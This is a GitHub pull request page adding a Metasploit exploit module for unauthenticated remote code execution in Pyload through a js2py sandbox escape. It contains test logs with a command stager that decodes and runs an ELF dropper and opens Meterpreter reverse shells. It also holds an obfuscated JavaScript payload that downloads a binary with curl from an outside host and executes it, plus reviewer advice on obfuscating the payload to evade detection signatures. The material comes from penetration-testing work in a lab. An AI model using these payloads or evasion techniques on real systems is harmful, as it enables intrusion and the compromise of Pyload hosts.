Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397) #19640

Merged
merged 5 commits into from
Nov 15, 2024

Conversation

jheysel-r7
Copy link
Contributor

This add an exploit module for an RCE vulnerability in Pyload.

CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
is the latest version of js2py which was released Nov 6, 2022.

CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
can bypass this restriction in order to access the API to achieve unauth RCE.

Verification

List the steps needed to make sure this thing works

  1. Start a vulnerable instance of pyLoad using docker
  2. Start msfconsole
  3. Run: use exploit/linux/http/pyload_js2py_cve_2024_39205
  4. Set the RHOST, LHOST PAYLOAD and payload associated options
  5. Run: run

@smcintyre-r7 smcintyre-r7 self-assigned this Nov 13, 2024
@jheysel-r7 jheysel-r7 added the blocked Blocked by one or more additional tasks label Nov 13, 2024
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Module is looking pretty good. I was able to test that it's working just fine so I'll land the rex-random_identifier side of things. I just left a couple of comments, one of which is an issue with payload encoding/escaping.

I tested the version mentioned in the docs, but I also spot checked a couple older versions; version-0.5.0b3.dev79 and version-0.5.0b3.dev73. The last one, dev73, was posted over a year ago.

Testing Output First is targeting dev79 then behind the scenes I switched to dev 73. Both worked as intended. ``` metasploit-framework.pr (S:0 J:0) exploit(linux/http/pyload_js2py_cve_2024_39205) > run

[] Started reverse TCP handler on 192.168.159.128:4444
[!] AutoCheck is disabled, proceeding with exploitation
[
] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCon4BRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/EmtlY.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/gplfg' < '/tmp/EmtlY.b64' ; chmod +x '/tmp/gplfg' ; '/tmp/gplfg' ; rm -f '/tmp/gplfg' ; rm -f '/tmp/EmtlY.b64'"]
[
] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCon4BRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/EmtlY.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/gplfg' < '/tmp/EmtlY.b64' ; chmod +x '/tmp/gplfg' ; '/tmp/gplfg' ; rm -f '/tmp/gplfg' ; rm -f '/tmp/EmtlY.b64'
[] Transmitting intermediate stager...(126 bytes)
[
] Sending stage (3045380 bytes) to 192.168.159.128
[] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.128:48736) at 2024-11-13 17:22:00 -0500
[
] Command Stager progress - 100.00% done (823/823 bytes)

meterpreter >
[*] 192.168.159.128 - Meterpreter session 3 closed. Reason: Died

metasploit-framework.pr (S:0 J:0) exploit(linux/http/pyload_js2py_cve_2024_39205) > check

[] Executing command: sleep 9
[
] Elapsed time: 9.956202448000113 seconds
[+] 192.168.159.128:9666 - The target is vulnerable. Successfully tested command injection.
metasploit-framework.pr (S:0 J:0) exploit(linux/http/pyload_js2py_cve_2024_39205) > exploit

[] Started reverse TCP handler on 192.168.159.128:4444
[!] AutoCheck is disabled, proceeding with exploitation
[
] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCon4BRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/JoQxC.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/FudcN' < '/tmp/JoQxC.b64' ; chmod +x '/tmp/FudcN' ; '/tmp/FudcN' ; rm -f '/tmp/FudcN' ; rm -f '/tmp/JoQxC.b64'"]
[
] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCon4BRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/JoQxC.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/FudcN' < '/tmp/JoQxC.b64' ; chmod +x '/tmp/FudcN' ; '/tmp/FudcN' ; rm -f '/tmp/FudcN' ; rm -f '/tmp/JoQxC.b64'
[] Transmitting intermediate stager...(126 bytes)
[
] Sending stage (3045380 bytes) to 192.168.159.128
[*] Meterpreter session 4 opened (192.168.159.128:4444 -> 192.168.159.128:44282) at 2024-11-13 17:28:38 -0500

[*] Command Stager progress - 100.00% done (823/823 bytes)

meterpreter >
meterpreter >
meterpreter > getuid
Server username: abc
meterpreter > sysinfo
Computer : 192.168.250.134
OS : (Linux 6.11.5-200.fc40.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/config/data
meterpreter >

</details>

@smcintyre-r7 smcintyre-r7 removed the blocked Blocked by one or more additional tasks label Nov 14, 2024

function #{js_vars[:findpopen]}(#{js_vars[:o]}) {
let #{js_vars[:result]};
for(let #{js_vars[:i]} in #{js_vars[:o]}.__subclasses__()) {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's cool that we're obfuscating the variable names - but if I were writing fingerprints for this - I'd just have a simple check for __subclasses__ to detect issues

Maybe this should be obfuscated too?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't know if our :Rex::Exploitation::ObfuscateJS handles this or not

Copy link
Contributor

@adfoster-r7 adfoster-r7 Nov 14, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might have to swap out things like let for var for it to work, as I'm not sure how much modern syntax it supports

Likewise for (var .. in ..) {

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This had crossed my mind but I wasn't exactly sure how I would have done it. I appreciate you bringing this up!

This is the javascript payload now after obfuscation:

let wTp5 = unescape("%63" + "%75%72%6c" + "%20%2d%73%6f%20%2e%2f%45%55%6a%68%78" + "%41%41%42%20%68%74%74%70%3a" + "%2f%2f%31%37%32%2e%31%36%2e%31%39%39%2e%31" + "%3a%38%30%38%30" + "%2f%4f%68%66%74%56%72%31%78%55%59%33%42%68%39%6b%75%51%47%41%61%35" + "%51%3b%20" + "%63" + "%68%6d%6f%64%20%2b%78%20%2e%2f%45%55%6a%68%78%41%41%42%3b" + "%20%2e%2f%45%55" + "%6a%68%78%41%41%42%20%26")
let f_Rzzxu281z, yUgI0ddexQ, m4ER
let wVO7GO4q, o_2Ldv

gReB1YKPZs = String.fromCharCode(  0x5f, 0x5f, 98, 97, 0163, 0x65, 95, 95 )
qU1jrx = String.fromCharCode(  0137, 0x5f, 0x67, 101, 0x74, 97, 116, 0x74, 114, 0151, 0142, 117, 0164, 0x65, 0x5f, 95 )
f_Rzzxu281z = Object.getOwnPropertyNames({})
yUgI0ddexQ = f_Rzzxu281z[qU1jrx]
m4ER = yUgI0ddexQ(String.fromCharCode(  0x5f, 0137, 0147, 101, 116, 97, 0x74, 0x74, 114, 105, 0x62, 0165, 0x74, 101, 0137, 0x5f ))
o_2Ldv = m4ER(String.fromCharCode(  0x5f, 0x5f, 0143, 0x6c, 0141, 0x73, 0x73, 0137, 0x5f ))[gReB1YKPZs]
wVO7GO4q = o_2Ldv[qU1jrx]
nkBtv8zF = unescape("%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f");

function ui3v1i2oj(bwPwuomAR9) {
    let lzDlv;
    for(let iKsEvSRGdi in bwPwuomAR9[nkBtv8zF]()) {
        let wuidH4d = bwPwuomAR9[nkBtv8zF]()[iKsEvSRGdi]
        if(wuidH4d.__module__ == unescape("%73%75%62%70%72%6f%63%65%73%73") && wuidH4d.__name__ == String.fromCharCode(  80, 0157, 0x70, 101, 0x6e )) {
            return wuidH4d
        }
        if(wuidH4d.__name__ != String.fromCharCode(  0164, 121, 0x70, 0145 ) && (lzDlv = ui3v1i2oj(wuidH4d))) {
            return lzDlv
        }
    }
}

m4ER = ui3v1i2oj(o_2Ldv)(wTp5, -1, null, -1, -1, -1, null, null, true).communicate()

I was playing with some of the other options but found just using the opts = { "Strings" => true } with dynamic method calls seemed to be the easiest way of doing things:

#{js_vars[:sub_class]} = '__subclasses__';
...
for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) {

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker; Just a bit of final golfing 🏌️

Since you can access object attributes with two notations object.attribute or object['attribute']. I believe if you swap to the latter syntax of __module__ or __name__ the full payload would be obfuscated fully without any strings that would be easy to match

@smcintyre-r7 smcintyre-r7 merged commit 5d9add4 into rapid7:master Nov 15, 2024
82 checks passed
@smcintyre-r7
Copy link
Contributor

Release Notes

This adds an exploit module that leverages CVE-2024-39205 which is an unauthenticated RCE in Pyload.

@smcintyre-r7 smcintyre-r7 added the rn-modules release notes for new or majorly enhanced modules label Nov 15, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

4 participants